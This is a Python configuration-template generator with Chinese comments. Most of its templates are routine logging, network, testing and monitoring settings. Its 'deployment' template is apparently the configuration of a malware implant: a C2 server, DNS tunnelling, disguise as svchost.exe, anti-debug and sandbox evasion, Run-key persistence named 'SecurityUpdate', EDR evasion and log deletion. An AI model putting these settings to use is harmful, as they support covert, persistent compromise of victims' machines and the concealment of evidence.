# -*- coding: utf-8 -*-
"""
配置文件模板生成器
提供标准配置模板生成和自定义配置创建功能
"""

import os
import json
import argparse
from typing import Dict, Any, List, Optional
from datetime import datetime

# 尝试导入统一日志系统
try:
    from config.unified_logger import get_logger
    logger = get_logger(__name__)
except ImportError:
    import logging
    logging.basicConfig(level=logging.INFO)
    logger = logging.getLogger(__name__)

class ConfigTemplateGenerator:
    """配置文件模板生成器"""
    
    def __init__(self):
        self.templates = self._load_templates()
        
    def _load_templates(self) -> Dict[str, Dict[str, Any]]:
        """加载配置模板"""
        return {
            'deployment': {
                'description': '部署配置模板',
                'template': {
                    "deployment_config": {
                        "c2_server": {
                            "host": "127.0.0.1",
                            "port": 8443,
                            "protocol": "https",
                            "ssl_verify": True,
                            "timeout": 30,
                            "retry_attempts": 3,
                            "retry_delay": 5
                        },
                        "dns_tunnel": {
                            "enabled": False,
                            "domain": "example.com",
                            "subdomain_prefix": "data",
                            "query_type": "TXT",
                            "encoding": "base64"
                        },
                        "encryption": {
                            "algorithm": "AES-256-GCM",
                            "key_derivation": "PBKDF2",
                            "iterations": 100000,
                            "salt_length": 32
                        },
                        "stealth_options": {
                            "process_name": "svchost.exe",
                            "hide_window": True,
                            "anti_debug": True,
                            "vm_detection": True,
                            "sandbox_evasion": True
                        },
                        "persistence_settings": {
                            "method": "registry",
                            "registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                            "value_name": "SecurityUpdate",
                            "startup_delay": 60
                        },
                        "edr_evasion": {
                            "process_hollowing": False,
                            "dll_injection": False,
                            "api_hooking": True,
                            "memory_encryption": True,
                            "syscall_obfuscation": True
                        },
                        "cleanup_settings": {
                            "auto_cleanup": True,
                            "cleanup_delay": 3600,
                            "remove_logs": True,
                            "secure_delete": True
                        },
                        "monitoring": {
                            "log_level": "INFO",
                            "log_file": "logs/deployment.log",
                            "max_log_size": "10MB",
                            "log_rotation": True,
                            "metrics_enabled": True
                        }
                    }
                }
            },
            'security': {
                'description': '安全配置模板',
                'template': {
                    "security_config": {
                        "authentication": {
                            "method": "certificate",
                            "certificate_path": "certs/client.crt",
                            "private_key_path": "certs/client.key",
                            "ca_certificate_path": "certs/ca.crt",
                            "verify_hostname": True
                        },
                        "encryption": {
                            "data_encryption": {
                                "algorithm": "ChaCha20-Poly1305",
                                "key_size": 256
                            },
                            "transport_encryption": {
                                "protocol": "TLS",
                                "version": "1.3",
                                "cipher_suites": [
                                    "TLS_AES_256_GCM_SHA384",
                                    "TLS_CHACHA20_POLY1305_SHA256"
                                ]
                            }
                        },
                        "access_control": {
                            "whitelist_enabled": True,
                            "allowed_ips": ["127.0.0.1", "::1"],
                            "rate_limiting": {
                                "enabled": True,
                                "max_requests": 100,
                                "time_window": 3600
                            }
                        },
                        "audit": {
                            "log_all_operations": True,
                            "log_failed_attempts": True,
                            "alert_on_suspicious_activity": True,
                            "retention_days": 90
                        }
                    }
                }
            },
            'logging': {
                'description': '日志配置模板',
                'template': {
                    "logging_config": {
                        "version": 1,
                        "disable_existing_loggers": False,
                        "formatters": {
                            "standard": {
                                "format": "%(asctime)s [%(levelname)s] %(name)s: %(message)s",
                                "datefmt": "%Y-%m-%d %H:%M:%S"
                            },
                            "detailed": {
                                "format": "%(asctime)s [%(levelname)s] %(name)s:%(lineno)d: %(message)s",
                                "datefmt": "%Y-%m-%d %H:%M:%S"
                            },
                            "json": {
                                "()": "config.unified_logger.JsonFormatter"
                            }
                        },
                        "handlers": {
                            "console": {
                                "class": "logging.StreamHandler",
                                "level": "INFO",
                                "formatter": "standard",
                                "stream": "ext://sys.stdout"
                            },
                            "file": {
                                "class": "logging.handlers.RotatingFileHandler",
                                "level": "DEBUG",
                                "formatter": "detailed",
                                "filename": "logs/application.log",
                                "maxBytes": 10485760,
                                "backupCount": 5
                            },
                            "error_file": {
                                "class": "logging.handlers.RotatingFileHandler",
                                "level": "ERROR",
                                "formatter": "json",
                                "filename": "logs/errors.log",
                                "maxBytes": 10485760,
                                "backupCount": 10
                            }
                        },
                        "loggers": {
                            "": {
                                "level": "DEBUG",
                                "handlers": ["console", "file", "error_file"],
                                "propagate": False
                            }
                        }
                    }
                }
            },
            'network': {
                'description': '网络配置模板',
                'template': {
                    "network_config": {
                        "proxy": {
                            "enabled": False,
                            "type": "http",
                            "host": "proxy.example.com",
                            "port": 8080,
                            "username": "",
                            "password": "",
                            "bypass_list": ["localhost", "127.0.0.1", "*.local"]
                        },
                        "dns": {
                            "servers": ["8.8.8.8", "8.8.4.4"],
                            "timeout": 5,
                            "retries": 3,
                            "use_system_dns": True
                        },
                        "firewall": {
                            "enabled": True,
                            "default_policy": "deny",
                            "rules": [
                                {
                                    "action": "allow",
                                    "protocol": "tcp",
                                    "port": 443,
                                    "direction": "outbound"
                                },
                                {
                                    "action": "allow",
                                    "protocol": "tcp",
                                    "port": 53,
                                    "direction": "outbound"
                                },
                                {
                                    "action": "allow",
                                    "protocol": "udp",
                                    "port": 53,
                                    "direction": "outbound"
                                }
                            ]
                        },
                        "bandwidth": {
                            "upload_limit": 1048576,
                            "download_limit": 10485760,
                            "burst_allowance": 2097152
                        }
                    }
                }
            },
            'testing': {
                'description': '测试配置模板',
                'template': {
                    "testing_config": {
                        "test_environment": {
                            "name": "development",
                            "debug_mode": True,
                            "mock_external_services": True,
                            "test_data_path": "tests/data"
                        },
                        "test_suites": {
                            "unit_tests": {
                                "enabled": True,
                                "path": "tests/unit",
                                "pattern": "test_*.py",
                                "coverage_threshold": 80
                            },
                            "integration_tests": {
                                "enabled": True,
                                "path": "tests/integration",
                                "pattern": "test_*.py",
                                "timeout": 300
                            },
                            "performance_tests": {
                                "enabled": False,
                                "path": "tests/performance",
                                "pattern": "perf_*.py",
                                "max_execution_time": 60
                            }
                        },
                        "reporting": {
                            "format": "json",
                            "output_path": "test_results",
                            "include_coverage": True,
                            "generate_html_report": True
                        },
                        "cleanup": {
                            "cleanup_after_tests": True,
                            "preserve_logs": True,
                            "cleanup_temp_files": True
                        }
                    }
                }
            },
            'monitoring': {
                'description': '监控配置模板',
                'template': {
                    "monitoring_config": {
                        "metrics": {
                            "enabled": True,
                            "collection_interval": 60,
                            "retention_days": 30,
                            "export_format": "prometheus"
                        },
                        "alerts": {
                            "enabled": True,
                            "channels": {
                                "email": {
                                    "enabled": False,
                                    "smtp_server": "smtp.example.com",
                                    "smtp_port": 587,
                                    "username": "",
                                    "password": "",
                                    "recipients": []
                                },
                                "webhook": {
                                    "enabled": True,
                                    "url": "https://hooks.example.com/webhook",
                                    "timeout": 10,
                                    "retry_attempts": 3
                                }
                            },
                            "rules": [
                                {
                                    "name": "high_cpu_usage",
                                    "condition": "cpu_usage > 80",
                                    "duration": 300,
                                    "severity": "warning"
                                },
                                {
                                    "name": "memory_exhaustion",
                                    "condition": "memory_usage > 90",
                                    "duration": 60,
                                    "severity": "critical"
                                },
                                {
                                    "name": "disk_space_low",
                                    "condition": "disk_usage > 85",
                                    "duration": 600,
                                    "severity": "warning"
                                }
                            ]
                        },
                        "health_checks": {
                            "enabled": True,
                            "interval": 30,
                            "timeout": 10,
                            "endpoints": [
                                {
                                    "name": "api_health",
                                    "url": "http://localhost:8080/health",
                                    "method": "GET",
                                    "expected_status": 200
                                }
                            ]
                        }
                    }
                }
            }
        }
    
    def list_templates(self) -> List[str]:
        """列出所有可用的模板"""
        return list(self.templates.keys())
    
    def get_template_description(self, template_name: str) -> str:
        """获取模板描述"""
        if template_name in self.templates:
            return self.templates[template_name]['description']
        return "未知模板"
    
    def generate_config(self, template_name: str, output_path: str, 
                       custom_values: Optional[Dict[str, Any]] = None) -> bool:
        """生成配置文件"""
        try:
            if template_name not in self.templates:
                logger.error(f"未知的模板名称: {template_name}")
                return False
            
            # 获取模板
            template = self.templates[template_name]['template'].copy()
            
            # 应用自定义值
            if custom_values:
                template = self._merge_configs(template, custom_values)
            
            # 添加生成信息
            template['_generated'] = {
                'timestamp': datetime.now().isoformat(),
                'template': template_name,
                'generator_version': '1.0.0'
            }
            
            # 确保输出目录存在
            os.makedirs(os.path.dirname(output_path), exist_ok=True)
            
            # 写入配置文件
            with open(output_path, 'w', encoding='utf-8') as f:
                json.dump(template, f, indent=2, ensure_ascii=False)
            
            logger.info(f"配置文件已生成: {output_path}")
            return True
            
        except Exception as e:
            logger.error(f"生成配置文件失败: {e}")
            return False
    
    def _merge_configs(self, base_config: Dict[str, Any], 
                      custom_config: Dict[str, Any]) -> Dict[str, Any]:
        """合并配置"""
        result = base_config.copy()
        
        for key, value in custom_config.items():
            if key in result and isinstance(result[key], dict) and isinstance(value, dict):
                result[key] = self._merge_configs(result[key], value)
            else:
                result[key] = value
        
        return result
    
    def create_custom_template(self, template_name: str, template_config: Dict[str, Any],
                             description: str = "") -> bool:
        """创建自定义模板"""
        try:
            self.templates[template_name] = {
                'description': description or f"自定义模板: {template_name}",
                'template': template_config
            }
            logger.info(f"自定义模板已创建: {template_name}")
            return True
        except Exception as e:
            logger.error(f"创建自定义模板失败: {e}")
            return False
    
    def validate_template(self, template_config: Dict[str, Any]) -> List[str]:
        """验证模板配置"""
        errors = []
        
        # 基本结构验证
        if not isinstance(template_config, dict):
            errors.append("模板配置必须是字典类型")
            return errors
        
        # 检查必要的配置节
        required_sections = []  # 可以根据需要定义必要的配置节
        for section in required_sections:
            if section not in template_config:
                errors.append(f"缺少必要的配置节: {section}")
        
        # 递归验证配置值
        self._validate_config_values(template_config, "", errors)
        
        return errors
    
    def _validate_config_values(self, config: Dict[str, Any], path: str, errors: List[str]):
        """递归验证配置值"""
        for key, value in config.items():
            current_path = f"{path}.{key}" if path else key
            
            # 检查特定的配置项
            if 'password' in key.lower() and isinstance(value, str):
                if value in ['', 'password', 'admin', '123456']:
                    errors.append(f"不安全的密码配置: {current_path}")
            
            if 'port' in key.lower() and isinstance(value, int):
                if value < 1 or value > 65535:
                    errors.append(f"无效的端口号: {current_path} = {value}")
            
            if 'timeout' in key.lower() and isinstance(value, (int, float)):
                if value <= 0:
                    errors.append(f"无效的超时设置: {current_path} = {value}")
            
            if isinstance(value, dict):
                self._validate_config_values(value, current_path, errors)
    
    def generate_interactive_config(self, template_name: str, output_path: str) -> bool:
        """交互式生成配置文件"""
        try:
            if template_name not in self.templates:
                print(f"错误: 未知的模板名称 '{template_name}'")
                return False
            
            print(f"正在使用模板 '{template_name}' 生成配置文件...")
            print(f"描述: {self.get_template_description(template_name)}")
            print("\n请根据提示输入配置值 (直接回车使用默认值):\n")
            
            template = self.templates[template_name]['template'].copy()
            custom_values = {}
            
            # 交互式收集配置值
            self._collect_config_values(template, custom_values, "")
            
            # 生成配置文件
            return self.generate_config(template_name, output_path, custom_values)
            
        except KeyboardInterrupt:
            print("\n配置生成已取消")
            return False
        except Exception as e:
            logger.error(f"交互式配置生成失败: {e}")
            return False
    
    def _collect_config_values(self, template: Dict[str, Any], 
                              custom_values: Dict[str, Any], path: str):
        """交互式收集配置值"""
        for key, value in template.items():
            current_path = f"{path}.{key}" if path else key
            
            if isinstance(value, dict):
                print(f"\n[{current_path}] 配置组:")
                if key not in custom_values:
                    custom_values[key] = {}
                self._collect_config_values(value, custom_values[key], current_path)
            else:
                # 收集单个配置值
                prompt = f"  {current_path} (默认: {value}): "
                user_input = input(prompt).strip()
                
                if user_input:
                    # 尝试转换类型
                    if isinstance(value, bool):
                        custom_values[key] = user_input.lower() in ['true', 'yes', '1', 'on']
                    elif isinstance(value, int):
                        try:
                            custom_values[key] = int(user_input)
                        except ValueError:
                            print(f"    警告: 无效的整数值，使用默认值 {value}")
                    elif isinstance(value, float):
                        try:
                            custom_values[key] = float(user_input)
                        except ValueError:
                            print(f"    警告: 无效的浮点数值，使用默认值 {value}")
                    else:
                        custom_values[key] = user_input
    
    def export_template(self, template_name: str, output_path: str) -> bool:
        """导出模板到文件"""
        try:
            if template_name not in self.templates:
                logger.error(f"未知的模板名称: {template_name}")
                return False
            
            template_data = {
                'name': template_name,
                'description': self.templates[template_name]['description'],
                'template': self.templates[template_name]['template'],
                'exported_at': datetime.now().isoformat()
            }
            
            with open(output_path, 'w', encoding='utf-8') as f:
                json.dump(template_data, f, indent=2, ensure_ascii=False)
            
            logger.info(f"模板已导出到: {output_path}")
            return True
            
        except Exception as e:
            logger.error(f"导出模板失败: {e}")
            return False
    
    def import_template(self, template_file: str) -> bool:
        """从文件导入模板"""
        try:
            with open(template_file, 'r', encoding='utf-8') as f:
                template_data = json.load(f)
            
            required_fields = ['name', 'template']
            for field in required_fields:
                if field not in template_data:
                    logger.error(f"模板文件缺少必要字段: {field}")
                    return False
            
            template_name = template_data['name']
            description = template_data.get('description', f"导入的模板: {template_name}")
            template_config = template_data['template']
            
            # 验证模板
            errors = self.validate_template(template_config)
            if errors:
                logger.error(f"模板验证失败: {', '.join(errors)}")
                return False
            
            # 添加模板
            self.templates[template_name] = {
                'description': description,
                'template': template_config
            }
            
            logger.info(f"模板已导入: {template_name}")
            return True
            
        except Exception as e:
            logger.error(f"导入模板失败: {e}")
            return False

def main():
    """主函数"""
    parser = argparse.ArgumentParser(description="配置文件模板生成器")
    parser.add_argument('--list', action='store_true', help="列出所有可用模板")
    parser.add_argument('--template', help="模板名称")
    parser.add_argument('--output', help="输出文件路径")
    parser.add_argument('--interactive', action='store_true', help="交互式生成配置")
    parser.add_argument('--custom-values', help="自定义值JSON文件路径")
    parser.add_argument('--export', help="导出模板到文件")
    parser.add_argument('--import', dest='import_file', help="从文件导入模板")
    parser.add_argument('--validate', help="验证配置文件")
    
    args = parser.parse_args()
    
    generator = ConfigTemplateGenerator()
    
    try:
        if args.list:
            # 列出所有模板
            print("可用的配置模板:")
            for template_name in generator.list_templates():
                description = generator.get_template_description(template_name)
                print(f"  {template_name}: {description}")
        
        elif args.import_file:
            # 导入模板
            if generator.import_template(args.import_file):
                print(f"✅ 模板导入成功: {args.import_file}")
            else:
                print(f"❌ 模板导入失败: {args.import_file}")
        
        elif args.template and args.export:
            # 导出模板
            if generator.export_template(args.template, args.export):
                print(f"✅ 模板导出成功: {args.export}")
            else:
                print(f"❌ 模板导出失败")
        
        elif args.template and args.output:
            # 生成配置文件
            custom_values = None
            
            if args.custom_values:
                try:
                    with open(args.custom_values, 'r', encoding='utf-8') as f:
                        custom_values = json.load(f)
                except Exception as e:
                    print(f"读取自定义值文件失败: {e}")
                    return
            
            if args.interactive:
                # 交互式生成
                if generator.generate_interactive_config(args.template, args.output):
                    print(f"✅ 配置文件生成成功: {args.output}")
                else:
                    print("❌ 配置文件生成失败")
            else:
                # 直接生成
                if generator.generate_config(args.template, args.output, custom_values):
                    print(f"✅ 配置文件生成成功: {args.output}")
                else:
                    print("❌ 配置文件生成失败")
        
        elif args.validate:
            # 验证配置文件
            try:
                with open(args.validate, 'r', encoding='utf-8') as f:
                    config = json.load(f)
                
                errors = generator.validate_template(config)
                if errors:
                    print(f"❌ 配置验证失败:")
                    for error in errors:
                        print(f"  - {error}")
                else:
                    print("✅ 配置验证通过")
            except Exception as e:
                print(f"❌ 配置验证失败: {e}")
        
        else:
            print("请指定操作: --list, --template + --output, --export, --import 或 --validate")
            parser.print_help()
    
    except KeyboardInterrupt:
        print("\n操作已取消")
    except Exception as e:
        print(f"发生错误: {e}")

if __name__ == "__main__":
    main()